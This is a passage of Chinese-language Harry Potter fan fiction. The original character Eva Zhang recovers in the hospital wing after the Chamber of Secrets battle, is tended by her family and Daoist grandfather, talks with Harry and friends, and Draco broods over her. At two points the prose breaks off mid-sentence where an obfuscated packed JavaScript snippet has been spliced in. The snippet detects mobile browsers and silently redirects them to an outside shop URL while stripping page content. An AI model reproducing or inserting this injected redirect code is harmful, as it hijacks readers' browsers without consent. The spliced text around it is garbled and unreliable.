日记本躺在岩石上,封面撕裂,内页暴露出来。那些纸页上原本写满了金妮的字迹,但现在,所有的字迹都在迅速变淡、消失,像被无形的橡皮擦擦去,又像是那些被吸取的生命力与记忆正在回流、消散。随着字迹消失,纸页本身也开始变化——从羊皮纸的质地,变得枯黄、脆弱,最后碎成粉末,从岩石上簌簌落下,混入泥水之中。 几秒钟内,一整本厚实的日记本,就在他们眼前化为了灰烬和纸屑,混合着暗红色的液体,落在泥水里,被水流冲散,再无踪迹。 金妮呆呆地看着自己空空的、沾满灰烬和暗红液体的手,看了几秒钟。然后,她身体一软,向后倒去,晕了过去,但脸上似乎多了一丝解脱般的平静。 一切都结束了。 真正的、彻底的结束。 哈利躺在地上,望着这一切发生,浑身脱力。福克斯飞到他身边,温暖的翅膀轻轻拂过他的脸颊,凤凰眼泪——那种具有强大疗愈力量的珍贵泪水——滴在他受伤的脚踝上。剧痛迅速消退,断裂的骨头在神奇地愈合,温暖的感觉蔓延开来。 但他没有立刻起来。他只是躺在那里,听着远处逐渐接近的嘈杂人声——罗恩带着哭腔的呼喊,教授们急促纷乱的脚步声,多种魔杖光芒从各个岔路口涌进来,驱散了洞穴中最后的黑暗。 他转过头,看向Eva的方向。 她也还昏迷着,苍白的脸半浸在水里,湿透的黑发贴在脸颊上,几缕发丝沾着泥污。她看起来很安静,好像只是睡着了,但眉头微微蹙着,仿佛在梦中依然承受着什么。 哈利慢慢地、挣扎着坐起来,拖着刚刚愈合还使不上力的脚,一点一点挪到她身边。他小心地把她的头从水里抬起来,让她枕在自己腿上,用尚且干净些的袖口内衬,轻轻擦去她脸上的泥污和水渍。 她的呼吸很轻,但很平稳,只是脸色苍白得厉害,唇上几乎没有血色。 “没事了,”哈利轻声说,不知道是在对她说,还是对自己说,声音沙哑而疲惫,“都结束了。我们……我们都还活着。” 55. 苏醒与余响 昏迷的第七天,Eva才在一种遥远而模糊的意识中,感知到光。 那光先是极淡的,像是隔了好几层毛玻璃望见的烛火,朦胧、温暖,却无法触及。然后,有什么温润的东西贴在她的额头上,一股极其温和、清冽的力量如涓涓细流般渗入她混沌的脑海,驱散着盘踞不去的沉重黑暗和冰冷的黏腻感——那是蛇怪腥气与地底湿寒在她意识深处留下的残影。 “……先天一炁耗竭,心神震荡过度……这孩子的底子打得牢,不然……” 一个苍老而温和的声音,带着江南水乡特有的柔软口音,断断续续地飘进她逐渐清明的感知里。是爷爷。 她想动一动手指,想睁开眼睛,但眼皮沉重得像压着石头,身体仿佛不是自己的,只有那温润的暖流在眉心持续地、耐心地梳理着,带来源源不断的安心感。 “张老先生,您的意思是……” 这是庞弗雷夫人严肃而充满敬意的声音。 “无妨了,根基未损,只是需要时间。让她睡,自然会醒。”爷爷的声音很稳,像老宅院子里那棵槐树的根,深深扎在土地里。 温暖的手指轻轻拂过她的脸颊,带着熟悉的、略带草药清苦的气息。“丽华,爷爷在。” 她想回应,却发不出声音。但在那温暖的触感和声音的包裹下,意识终于挣脱了最后一丝泥沼,彻底浮了上来。 睫毛颤动了几下,终于掀开。 首先映入眼帘的是医疗翼熟悉的高耸天花板,木梁在午后的光线中投下安静的影子。阳光透过半掩的窗帘,在白色的床单上切割出明暗交织的条纹,空气中漂浮着细微的尘埃,像缓慢舞蹈的精灵。 然后,她看见了守在床边的人。 妈妈坐在离床最近的椅子上,身上那套米色的职业套装有些皱褶,一丝不苟的发髻也松了几缕,眼底是浓得化不开的疲惫和见到她睁眼时瞬间涌上的、几乎要落泪的狂喜。她紧紧握着Eva露在被子外的一只手,握得那么紧,指节都泛白了。 爸爸站在妈妈身后,穿着挺括的深色西装,但领带松开了,下巴上有新冒出的青色胡茬。他的背依然挺得笔直,那是常年外交工作刻入骨子里的姿态,但此刻那姿态里透着一股难以言喻的紧绷和……后怕。他的目光落在Eva脸上,看到她睁眼时,瞳孔几不可察地收缩了一下,嘴唇动了动,却没发出声音。 而坐在床尾一张矮凳上的,是爷爷。 他依旧穿着那身洗得发白的青布道袍,白发在脑后绾成小小的髻,用那根熟悉的木簪固定。脸上纵横的皱纹似乎更深了些,但那双眼睛——清亮、温和,如同能映照出世事却不起波澜的古井——正静静地看着她。他的手指刚刚从她的额头上移开,指尖似乎还残留着一点微光。 “醒了。”爷爷说,不是疑问,是平静的陈述。 “丽华……”妈妈的声音颤抖得厉害,另一只手也覆了上来,将Eva的手紧紧包裹在掌心,那温度甚至有些烫人,“你吓死妈妈了……吓死我们了……” Eva张了张嘴,喉咙干涩得发疼,只能发出一点气音。 庞弗雷夫人立刻端着一杯温水走过来,用魔法轻轻托起Eva的头,小心翼翼地喂她喝了几口。温水润泽了干裂的嘴唇和喉咙,她终于能发出微弱的声音:“……妈……爸……爷爷……” 每叫出一个称呼,都像用尽了力气。她看到妈妈的眼圈瞬间红了,爸爸的喉结剧烈地滚动了一下,而爷爷只是轻轻点了点头,眼神里的慈祥与了然让她莫名想哭。 “别急着说话,孩子,”庞弗雷夫人温和但不容置疑地说,“你昏迷了整整七天。严重的魔力与‘精力’双重透支,伴有轻微的神识震荡。能醒过来,已经是万幸。”她看向爷爷,语气充满敬意,“多亏您及时赶到。” Eva这才注意到,爷爷的手边放着一个打开的小木匣,里面衬着深紫色的绒布,放着几样她熟悉的东西:她一直戴着的玉佩,光泽似乎更加温润内敛;爷爷给她的那支紫竹笔,笔尖隐隐有流光转动;还有几枚古旧的铜钱和一小截颜色暗沉的线香。木匣本身也刻满了繁复的符文,散发着宁静的气息。 爷爷是用这些东西……在救她? “感觉怎么样?”爸爸终于开口了,声音有些沙哑,是那种极力维持平稳却依旧泄露了紧绷的语调。 Eva试着动了动手指,又轻轻转了转头。全身依然被那种深沉的酸痛和无力感占据,头脑也有些昏沉,像是长途跋涉后精疲力竭,但至少,意识是清晰的,也能感觉到身体在缓慢地汲取着周围温和的能量进行修复。 “疼……没力气……”她实话实说,声音细弱。 “疼就对了,”庞弗雷夫人一边检查她床头的几个水晶瓶(里面的药水闪烁着不同的微光),一边说道,“你的身体像是被彻底榨干后又强行透支,没有留下永久性损伤已经是梅林保佑——还有你祖父的功劳。接下来至少两周,你需要绝对静养,按时服用我配制的营养药剂和安神魔药,慢慢恢复。” 两周……Eva在心里算着落下的课程。变形术的进阶控制,魔药学的肿胀药水改良,魔法史的中世纪猎巫运动论文……还有弗立维教授承诺要教的实用小咒语…… “功课……”她忍不住轻声说。 “功课?”妈妈几乎是带着哭音又带着点嗔怪地说,“都什么时候了还想功课!邓布利多教授和各位院长都说了,所有因为你……因为这件事耽误的课程,都会安排补上或酌情免除考核。你现在唯一要做的就是把身体养好!” 爸爸没有说话,只是看着她,那眼神复杂极了。Eva读懂了里面沉甸甸的东西:担忧、后怕,还有那句曾经在伦敦公寓书房里说过的——“记住你是谁。” 她当时懵懂,现在却仿佛被这句话狠狠击中了心脏。她是谁?她是张丽华,是Eva Zhang,是拉文克劳的二年级学生,是爸爸妈妈的女儿,是爷爷的孙女。她也是一个有着特殊感知和东方传承的女孩。在黑暗的洞穴里,她念出了爷爷教的童谣,动用了爷爷给的黑石,那一刻,她不仅仅是霍格沃茨的学生,她也是那个江南老宅里跟着爷爷学习“炁”与“静”的女孩。 而这份“不同”,差点让她再也醒不过来。 一股迟来的、冰冷的后怕顺着脊椎爬上来,让她轻轻打了个寒颤。如果她没有撑住?如果那光晕消散得更早?如果蛇怪没有因为福克斯的鸣叫而分神?如果哈利没有拿到那把剑?如果爷爷没有及时赶到用他的方法稳住她的心神根基? 无数个“如果”在脑海里炸开,每一个都通向黑暗的结局。她看到妈妈红肿的眼睛,爸爸下巴的胡茬,爷爷眼底深处那一丝不易察觉的疲惫——他们守了她七天。这七天里,他们有多害怕? “对不起……”泪水毫无预兆地涌上眼眶,顺着眼角滑落,浸入枕头。不是因为身体的疼痛,而是因为这份沉重的后怕和对家人的愧疚。“我……我不该……让你们担心……” “傻孩子……”妈妈俯身抱住她,温暖的眼泪滴在她的脸颊上,混合着她自己的泪水,“你没事就好……没事就好……” 爸爸伸出手,似乎想摸摸她的头,像小时候那样,但手在半空中停顿了一下,最终只是轻轻落在了她的被子上,用力按了按。那个动作里包含了一个父亲所有难以言喻的情感。 爷爷静静地坐着,等妈妈的情绪稍微平复一些,才缓缓开口,声音平和却带着直指人心的力量:“丽华,记得爷爷跟你说过什么吗?” Eva在妈妈的怀抱里微微转头,看向爷爷。 “走路是修行,吃饭是修行,呼吸也是修行。”爷爷慢慢地说,“危急关头,你用了我教你的法子,护住了自己一丝清明,也护住了那韦斯莱家小姑娘一线生机。这是你的‘修行’到了,本能反应。不必后悔。” 他顿了顿,眼神变得更加深邃:“但爷爷也说过,‘炁’是你身体里的东西,你是主人。这次,你让客人做了主,耗干了家底。记住这个滋味。下次,要知道什么时候该用,什么时候该收,什么时候……该退。” 该退。在那一刻,她有没有想过“退”?好像没有。她只想着要撑住,要保护哈利和金妮,要对抗那令人窒息的黑暗和邪恶。她忘了自己只有十二岁,忘了自己的“家底”有多薄。 “我记住了,爷爷。”她哽咽着说,泪水流得更凶了。这次的眼泪里,多了明悟和决心。 庞弗雷夫人适时地递过来一块干净的手帕,又调整了一下点滴瓶(里面是一种泛着珍珠光泽的药剂)的速度。“情绪不宜过于激动,张小姐。你需要休息。” 爷爷点了点头,对爸爸妈妈说:“让她再睡会儿。醒了,才是真正开始恢复的时候。” 爸爸妈妈虽然不舍,但还是听从了爷爷和庞弗雷夫人的建议。妈妈在她额头上印下一个轻柔的吻,爸爸又用力按了按被子,爷爷则对她露出一个宽慰的浅笑,然后三位大人在庞弗雷夫人的示意下,暂时离开了病房。 医疗翼重新安静下来。Eva躺在柔软的枕头里,疲惫感再次如潮水般涌上,但这一次,心神是安稳的。爷爷的梳理和那些温和的药剂正在起作用。她闭上眼睛,在沉入睡眠前,最后一个模糊的念头是:不知道哈利怎么样了?金妮呢?赫敏……应该已经恢复了吧? 再次醒来时,窗外已是暮色四合。医疗翼里点起了温暖的壁灯和漂浮的蜡烛,光线柔和。 床边换了人。 是哈利·波特。 他就坐在之前妈妈坐的那张椅子上,背对着灯光,身影有些模糊。他低着头,双手交握放在膝上,手指无意识地互相绞着,看起来像是在这里坐了许久。听到床上的动静,他猛地抬起头。 烛光映亮了他的脸。绿眼睛下的阴影很重,脸色也带着病后的苍白,但那双眼睛在看到她醒来时,瞬间迸发出明亮的光彩,随即又被浓重的、几乎要满溢出来的情绪覆盖——那是混杂着担忧、愧疚、释然,还有一种深深的后怕。 “Eva!”他几乎是弹起来的,椅子向后摩擦地板发出轻微的响声。他向前倾身,却又在即将碰到床边时克制地停住,只是紧紧地看着她,嘴唇动了动,似乎有千言万语堵在喉咙里,最终只化作一句干涩的,“你……你终于醒了。” 他的声音沙哑,带着显而易见的疲惫,但里面那份真切的、毫不掩饰的关心和庆幸,像暖流一样包裹住Eva。 “哈利……”Eva轻声回应,试着想坐起来一点,但浑身依旧酸软无力。 哈利下意识地想伸手扶她,又犹豫了一下,看向一旁的庞弗雷夫人。庞弗雷夫人正在整理药柜,回头看了一眼,点了点头:“帮她垫高一点枕头可以,波特先生,动作轻点。” 哈利这才小心地、有些笨拙地帮Eva调整了枕头的高度,让她能更舒服地半靠着。他的动作很轻,手指偶尔擦过她的肩膀或头发,带着微微的凉意和不易察觉的颤抖。 两人离得很近。Eva能看清他额头上那道闪电形疤痕,在昏暗光线下依旧清晰;能看到他绿眼睛里遍布的血丝,和那下面深藏的、属于十二岁男孩却被迫承载了太多的沉重。 “你……”Eva看着他明显消瘦了的脸颊和眼底的青色,“你也受伤了?没事了吗?” “我没事,”哈利迅速摇头,扯出一个有些勉强的笑容,“都是皮外伤,庞弗雷夫人几天就治好了。我……我昨天就出院了。”他的笑容很快消失了,目光落在她苍白虚弱的脸上,那里面翻滚的情绪几乎要将他淹没,“Eva,我……” 他哽住了,双手用力地握成了拳头,指节泛白。他低下头,避开她的目光,声音低得几乎听不见,却因为压抑着强烈的情感而微微发颤:“对不起……都是因为我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980671|193567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……如果不是我要下去……如果不是我……” “哈利。”Eva打断了他,声音虽然虚弱,却很清晰。她看着这个在棋盘上走向黑国王、在地下房间挡在她面前、在黑暗洞穴中与蛇怪搏命的男孩,此刻却像个做错事的孩子一样充满自责。“你没有强迫任何人下去。罗恩回去报信了,是我选择跟你一起的。” 哈利猛地抬起头,绿眼睛里充满了痛苦和不解:“可是你差点……庞弗雷夫人说你昏迷了七天!邓布利多教授说,你那种……那种东方的力量透支,非常危险!如果……如果你……” 他说不下去了,那个“如果”后面的可能太过可怕,让他整个人都僵硬起来。他想起在洞穴里,那圈温暖的金色光晕骤然熄灭时,Eva像折断的芦苇一样倒进泥水里的画面。那一刻的恐惧,甚至超过了面对蛇怪的毒牙。 “我没事了,”Eva重复道,努力让自己的语气听起来更肯定些,“爷爷来了,我醒了。而且……”她顿了顿,想起昏迷前最后看到的景象,“我们成功了,对吗?蛇怪死了,金妮救回来了,日记本毁了。” 提到这个,哈利的神情稍微松动了一些,但愧疚感并未减轻。“金妮救回来了,”他点点头,声音依旧低沉,“她醒来后,韦斯莱夫人和先生,还有罗恩他们一直陪着她。她……她很勇敢。”他没有详细说金妮砸毁日记本的过程,那对于刚醒来的Eva来说可能太刺激了。“赫敏,还有科林、贾斯廷、厄尼,曼德拉草药剂起效了,他们都恢复了。尼克也……恢复了。” 这算是这些天来最好的消息了。Eva心里松了一口气。 “那本日记……”她轻声问,“邓布利多教授怎么说?” 哈利的脸色凝重起来。“是魂器,”他低声说,这个词依然让他感到不寒而栗,“伏地魔的魂器。他十六岁时制造的,藏在里面的是他学生时代的一段记忆和一部分灵魂。”他看向Eva,“邓布利多教授说,你最后用那种光……干扰了日记本对金妮的控制,也削弱了里德尔显形的力量,给了福克斯和我机会。教授还说……”他犹豫了一下,“那种力量很特别,不属于我们通常理解的魔法体系。但它确实起了关键作用。” Eva沉默着。爷爷给的石头,爷爷教的口诀。它们属于另一个古老的世界,另一个理解力量的方式。它们这次保护了她,也帮助了大家,但也让她付出了昏迷七天的代价。 “你爷爷……”哈利忽然说,语气里带着一丝难以言喻的复杂情绪,“他很厉害。他来了之后,庞弗雷夫人说你的情况就稳定下来了。他……他还看了我一眼。”哈利似乎不知道该怎么描述那一眼的感觉,“好像……什么都明白了。” Eva想象着那个画面——爷爷穿着青布道袍,站在充满了西式魔法药剂和医疗仪器的医疗翼里,用那双能洞察“炁”与“念”的眼睛平静地审视着一切。他当然会明白。 两人之间沉默了片刻。医疗翼里只有壁炉木柴燃烧的噼啪声和远处其他病人轻微的呼吸声。 “Eva,”哈利再次开口,这次他抬起头,直直地看向她的眼睛,绿眸中闪烁着坚定的、不容错辨的光芒,“谢谢你。在下面……如果没有你,我可能……金妮可能……”他深吸一口气,“不只是谢谢你的帮助。是……谢谢你信任我,跟我一起下去。谢谢你……没有让我一个人面对。” 他说得有些语无伦次,但那份真挚的情感却沉甸甸地传递过来。他不是在感谢一个“有用的帮手”,而是在感谢一个在绝境中与他并肩的同伴,一个明明可以有更安全的选择,却选择了危险的朋友。 Eva看着他眼中那份沉重的感激和依然残留的后怕,心里某个地方微微酸涩,又微微发暖。她想起一年级的魔法石事件,想起他喝下魔药走向棋盘尽头的背影。他一直是这样,把最重的责任揽在自己肩上。而这一次,她不只是被保护者,他们是一起面对黑暗的同行者。 “你也一样,哈利,”她轻声说,回视着他的目光,“谢谢你没有让我一个人在上面等。” 这句话很简单,却让哈利整个人震了一下。他看着她平静而真诚的黑眼睛,忽然意识到,在Eva的认知里,等待或许也是一种艰难的选择。她没有把他当成必须被保护的“救世主”,而是看作一个需要互相照应的同伴。这份平等的看待,对他而言,比任何赞美都更珍贵。 他张了张嘴,还想说什么,眼眶却有些发热。他用力眨了眨眼,别开了视线,生怕自己真的失态。 庞弗雷夫人端着新的药水走了过来,打破了这有些凝重的气氛。“探视时间差不多了,波特先生。张小姐需要继续静养服药。你可以明天再来。” 哈利连忙站起来,有些局促地点点头。“好……好的,夫人。”他看向Eva,语气恢复了平时的样子,但眼神依旧温暖,“你好好休息,Eva。我明天再来看你。丽莎、曼蒂和帕德玛,罗恩,还有赫敏,他们也都想来看你,但庞弗雷夫人说一次不能太多人……” “帮我告诉他们我没事,”Eva说,“还有……谢谢他们。” “我会的。”哈利对她笑了笑,这次的笑容真实了许多,虽然依旧带着疲惫。他转身离开,走到门口时又回头看了她一眼,才轻轻带上门。 Eva喝完庞弗雷夫人递来的药水(味道比之前的更苦,但带着一股奇异的、安抚神经的清香),重新躺好。身体依然虚弱,但心神却比醒来时更加安宁。 窗外的天色完全暗了下来,霍格沃茨的灯火在夜色中次第亮起,像星空倒映在人间的岛屿。城堡度过了又一个危机,伤痕在缓慢愈合。而她,在经历了极限的透支与漫长的昏迷后,也正在家人的守护和朋友的关心中,一点一点地找回自己的力量与平静。 路还很长。但至少此刻,她知道自己在哪儿,记得自己是谁,也清楚身边都有谁。 56. 苏醒与归途 窗外的麻雀还在啁啾,阳光把医疗翼床单上的光影又拉长了一寸。 Eva靠在升高的枕头上,看着爸爸妈妈和爷爷低声交谈后,在庞弗雷夫人的温和坚持下,依依不舍地暂时离开了病房。妈妈临走前在她额头上印下一个吻,干燥而温暖;爸爸用力握了握她的手,那力道像是在确认,又像是无言的支持;爷爷则只是对她微微颔首,眼神里是平静的鼓励。 门轻轻关上,医疗翼恢复了它特有的、带着药水气味的宁静。Eva这才真正有了一种“醒来”的实感。身体深处依旧泛着沉重的酸痛,仿佛每一块骨头、每一缕肌肉都被过度使用后又强行拼凑起来,脑袋也有些昏沉,像是长途跋涉后精疲力竭。但意识是清晰的,能感受到阳光的温度,能听到远处隐约的钟声,也能感觉到手腕上玉佩那恒久不变的温润触感——它一直好好地在原处,像沉默的锚。 她轻轻动了动手指,又缓缓转动了一下脖颈。迟来的、冰冷后怕这时才顺着脊椎慢慢爬上来,带着密室地底潮湿的腥气和黑暗的触感。她闭了闭眼,深吸一口气,努力将那些画面压下去。爷爷说得对,炁已稳,神已归。她需要的是面对此刻,而不是沉湎于惊悸。 庞弗雷夫人像精准的钟摆,再次出现在床边,手里端着新的药水和检测用具。“感觉怎么样,张小姐?头晕吗?有没有哪里特别痛?” “好多了,夫人。只是没力气,头有点沉。”Eva如实回答。 庞弗雷夫人用魔杖施展了几个检测咒语,光芒柔和地扫过她的身体。“恢复速度比预期慢一些,但这很正常。”她语气温和,但眼底有一丝不易察觉的担忧,“你这次的损耗……非常特别,不仅仅是魔力,还有更根本的东西。张老先生说,那是‘先天一炁’的透支。在你们的体系里,这是生命的本源,恢复起来急不得,只能靠时间和静养慢慢温补。”她递过一杯闪烁着珍珠光泽的药水,“这是最后一剂强效营养剂,稳固本源。然后,继续休息。记住,千万不能心急。” 药水微甜,带着薄荷的清凉,顺着喉咙滑下后,一股舒缓的暖意在四肢百骸缓缓化开。疲倦感再次上涌,Eva在药力作用下,又陷入了安稳的、无梦的睡眠。 再次醒来时,已是傍晚。病房里点起了灯,壁炉里的火焰跳动着。妈妈坐在床边,正用湿毛巾轻轻擦拭她的额头和手臂,动作温柔得不可思议。看见她睁眼,妈妈立刻露出笑容,虽然眼圈还是红的。“醒了?饿不饿?庞弗雷夫人说你可以喝点清淡的肉汤了。” 爸爸不在,大概去处理堆积的工作了。爷爷也不在。Eva小口喝着妈妈用保温咒温着的鸡汤,热流温暖了肠胃,也带来更多真实感。妈妈絮絮叨叨地说着话,内容琐碎而温暖:爸爸的工作暂时告一段落,能在英国多留一阵;爷爷和邓布利多教授谈得很好,已经先回江南了,让她安心休养;霍格沃茨特批了延长病假,功课不用担心…… 在城堡的另一端,斯莱特林公共休息室的地窖里,德拉科·马尔福正心不在焉地翻着《高级魔药制作》的旧课本。壁炉里绿色的火焰在他苍白的脸上投下跳动的光影。 关于那个拉文克劳——张的事情,这两天在斯莱特林内部悄悄传开了。不是明面上的讨论,而是那种在走廊转角、公共休息室角落压低的只言片语。 “听说她昏迷了整整一周……” “邓布利多亲自去医疗翼探望……” “她父母从中国赶来了,还有她祖父——那个穿着奇怪袍子的东方老人……” 德拉科的羽毛笔在羊皮纸上划出一道无意义的墨痕。他想起万圣节后走廊里那次相撞,她眼中瞬间涌上的生理性泪雾,还有圣诞节前图书馆外,她抱着那本诡异的暗红色日记本时,脸上罕见的、真实的慌张。现在她又卷入了密室事件,还差点……他烦躁地把羽毛笔扔在桌上,笔尖在墨水瓶边溅出几点黑渍。 克拉布在旁边笨拙地试图解开一包甘草魔杖,高尔已经打起瞌睡。潘西·帕金森正在跟几个女生炫耀她新收到的法国香水,声音尖细得刺耳。 德拉科站起身,走到休息室那面能看到黑湖深处的玻璃窗前。深绿色的水波缓缓荡漾,巨大的乌贼触须偶尔掠过。他想起父亲上周寄来的信,措辞比平时更加谨慎: “……关于霍格沃茨近期事件,魔法部已有定论。某些学生的‘特殊贡献’将获得表彰,此乃校方事务,与家族立场无关。你当专注学业,谨言慎行,勿涉是非。另,东方外交官子女在校就读,属正常文化交流,不必过度关注,亦勿失礼数。” 父亲的话永远这样滴水不漏,但德拉科读懂了其中的潜台词:那个拉文克劳的背景可能比表面看起来复杂,连马尔福家也不愿轻易触碰;而她在此次事件中的角色,已经引起了注意,但父亲希望他保持距离。 保持距离。德拉科的手指无意识地敲击着冰冷的玻璃。他当然应该保持距离。她是拉文克劳,是那个总是平静得让人恼火、却又在某些瞬间流露出惊人脆弱感的东方女孩。更重要的是,她和波特那群人走得太近——而波特,是父亲明确表示过“需要保持警惕”的对象。 可是…… 他眼前又闪过那个画面:昏暗的走廊,她因为被撞痛而眼中含泪,却又倔强地迅速眨掉,那双黑眼睛在火把光下亮得惊人。还有她捡起那本诡异日记本时,手指那不易察觉的颤抖。 “啧。”德拉科发出一个短促的轻嗤,转身离开窗前。他想这些做什么?她怎么样,关他什么事?一个拉文克劳,一个可能藏着什么秘密的东方女孩,一个和救世主波特混在一起的人……他应该像父亲希望的那样,保持距离,专注自己的事。 他重新坐回桌前,强迫自己把注意力放回魔药配方上。但那些关于她昏迷、她家人赶来、她可能参与了密室事件最终解决的零星传闻,像细小的藤蔓,在他意识的边缘悄然生长。 接下来的几天,是缓慢而扎实的恢复期。Eva大部分时间仍在昏睡与清醒之间交替,但清醒的时间越来越长,精神也一点点好起来。爸爸妈妈在霍格莫德村的“三把扫帚”旅馆暂住,每天轮流来陪伴她。妈妈已经向大使馆申请了延长停留时间,爸爸则通过飞路网远程处理紧急公务。他们商量后决定,等Eva完全出院、恢复上课后,妈妈再陪她适应几天,然后返回伦敦工作,爸爸则直接飞往东欧处理积压的事务。 三月中旬的霍格沃茨,城堡外的雪开始融化,滴滴答答的水声从屋檐传来,空气里有潮湿的泥土和新生嫩芽的清气。但医疗翼的高窗里,Eva的世界依旧被药水的气味、规律的检查、以及漫长的昏睡与短暂清醒交替所定义。 她清醒的时间在一点点增加,从最初每天只能醒来一两个小时,到后来能断断续续清醒大半个上午或下午。但身体的力气恢复得极慢,像一株被霜打过、根系受损的植物,只能依靠外界的营养和自身的耐心,一点点重新汲取大地的力量。有时候,她会靠在枕头上,看着窗外光秃秃的树枝上冒出一点点几乎看不见的绿意,心里默默地数着日子。 爸爸妈妈轮流守着她。妈妈会给她读一些从家里带来的中文故事书,声音轻柔;爸爸则常常沉默地坐在一旁处理文件,偶尔抬头看看她,眼神复杂。Eva知道他们在担心,也知道他们为了留在霍格沃茨附近承受着压力。爸爸桌上的文件越堆越高,妈妈的猫头鹰往来越来越频繁。但他们从未在她面前表露过任何催促或焦虑,只是耐心地、一天天地陪着她。 “等你暑假,我们一起去江南看爷爷,好吗?”妈妈一边帮她梳理头发,一边轻声说,“爷爷说,老宅的槐花今年开得特别好。” Eva点点头,心里那片因为密室事件而冰封的角落,渐渐被这些关于未来的、平凡的约定温暖。 探望的潮水也开始涌来。 最先冲进来的是曼蒂和帕德玛,后面跟着探头探脑、有些不好意思的丽莎。 “Eva!”曼蒂的声音带着哭腔,像只受惊后终于找到巢穴的雏鸟,扑到床边时差点带倒椅子,“梅林的胡子!你终于真的醒了!前几天庞弗雷夫人根本不让进,说你在深度恢复,只能在外面看一眼……你躺在那儿,一动不动的……” 帕德玛稍微克制些,但眼圈也红了。她握住Eva的手,指尖冰凉。“我们怕极了,”她低声说,声音有些哽咽,“又不敢吵你……只能每天来问问庞弗雷夫人。” 丽莎从两人身后小心地挪出来,手里捧着一个手工缝制的、鼓鼓囊囊的小香草枕,散发着宁神的薰衣草和洋甘菊香气。“我……我妈妈寄来的安神香草,”她小声说,把香草枕轻轻放在Eva枕头旁边,“庞弗雷夫人说这个可以辅助安神……希望你能睡得好点。” Eva看着她们,心里暖流淌过,喉咙却又有些发堵。“我没事了,”她努力微笑,声音依然细弱,“真的。只是……需要多睡一会儿。” “那叫‘一会儿’?”曼蒂抽了抽鼻子,眼泪还是掉了下来,“我们都快吓死了!功课什么的完全不用操心,我的笔记虽然乱,但肯定比帕德玛的鬼画符好认……”她试图用玩笑驱散恐惧,却说得语无伦次。 她们挤在床边,急切地分享着城堡里的一切:课堂还在继续,但气氛松快多了;费尔奇还在骂人,但对象变成了乱扔的糖纸和泥脚印;洛哈特教授一直在校医院,听说中了很厉害的遗忘咒,连自己是谁都记不清了,庞弗雷夫人正准备送他去圣芒戈长期治疗(“活该!”曼蒂小声补充);赫敏恢复得很快,已经能下床了,听说昨天还来看过Eva,但没被允许久待;金妮被韦斯莱夫人接回家休养了…… “还有,”帕德玛压低声音,神秘兮兮地说,“斯莱特林那边好像特别安静。我听见几个斯莱特林女生在图书馆议论,说马尔福——德拉科·马尔福——最近有点怪,老是心不在焉的,潘西·帕金森跟他说话他都爱答不理。” 曼蒂撇撇嘴:“他能有什么好心不在焉的?大概是在琢磨新的恶作剧吧。” Eva安静地听着,没有接话。她想起走廊里那次碰撞,想起那个金发男孩脸上转瞬即逝的错愕和慌乱。但那只是混乱中的插曲,她很快把思绪拉回朋友们温暖的关心中。 德拉科确实有些“怪”——连克拉布和高尔都察觉到了。他在魔药课上罕见地犯了个低级错误,把豪猪刺加早了,导致一整锅肿胀药水变成令人不悦的棕褐色。斯内普教授扣了斯莱特林十分,并用那种能让纳威·隆巴顿发抖的冰冷眼神盯了他足足五秒。 “注意力不集中,马尔福。”斯内普的声音像蛇在石头上滑行,“我不希望看到第二次。” 德拉科苍白的脸颊浮起一丝红晕,是恼怒也是羞耻。他低下头重新准备材料,手指用力得几乎要捏碎研钵。该死,他刚才居然在走神,在想那个拉文克劳是不是真的醒了,庞弗雷夫人到底允不允许探视……这简直荒谬。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980672|193567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>哈利、罗恩和赫敏也来过几次。赫敏恢复得很快,已经能活蹦乱跳了,但每次来看Eva,她总会放轻声音,镜片后的眼睛里充满了后怕和感激。罗恩看起来还是有点后遗症,看到Eva苍白的脸就会不自觉地缩缩脖子,但总会结巴巴地说些鼓励的话。哈利总是站在稍远一点的地方,绿眼睛看着她,里面有太多Eva还无法完全读懂的东西——担忧、愧疚,还有一种沉重的、仿佛经历过生死后才有的熟稔。他会简单说说城堡里的事,魁地奇训练恢复了,费尔奇还在为清理水渍发火……但他从不提密室,不提那场战斗,好像那是他们之间一个心照不宣、却暂时不愿触及的禁区。 “邓布利多教授说……”一次探视时,哈利犹豫着开口,声音很轻,“那本日记……是一种叫‘魂器’的东西。伏地魔学生时代做的。他说你最后用的那种光……很重要,干扰了它。”他说得含糊,显然自己也不太理解这个词的确切含义,只是转述教授的话。 Eva点点头,没有追问。魂器。这个词听起来就带着不祥。 时间像医疗翼窗外的日光,缓慢而坚定地移动。 三月下旬,Eva已经可以不用搀扶,自己慢慢走到窗边的椅子坐一会儿了。阳光照在脸上,暖洋洋的,能看清庭院里第一批勇敢探出头来的水仙花,黄灿灿的,在还有些寒意的风里轻轻摇晃。 庞弗雷夫人对她的恢复速度保持了谨慎的乐观。“根基受损的恢复就是这样,张小姐,”她一边调整着一种新的、泛着淡金色光泽的药剂配方,一边说,“前面慢,后面会渐渐快起来。你祖父留下的调养方子很有用,加上霍格沃茨城堡本身的魔法环境对恢复有裨益。但切记,不能逞强。” Eva点点头。她确实不敢逞强。每次试图集中精神感受体内那股“炁”,回应她的都是一片深沉的空乏和疲惫,像一口干涸了太久的井。爷爷说这是正常的,让她“勿念勿求,静待春暖”。 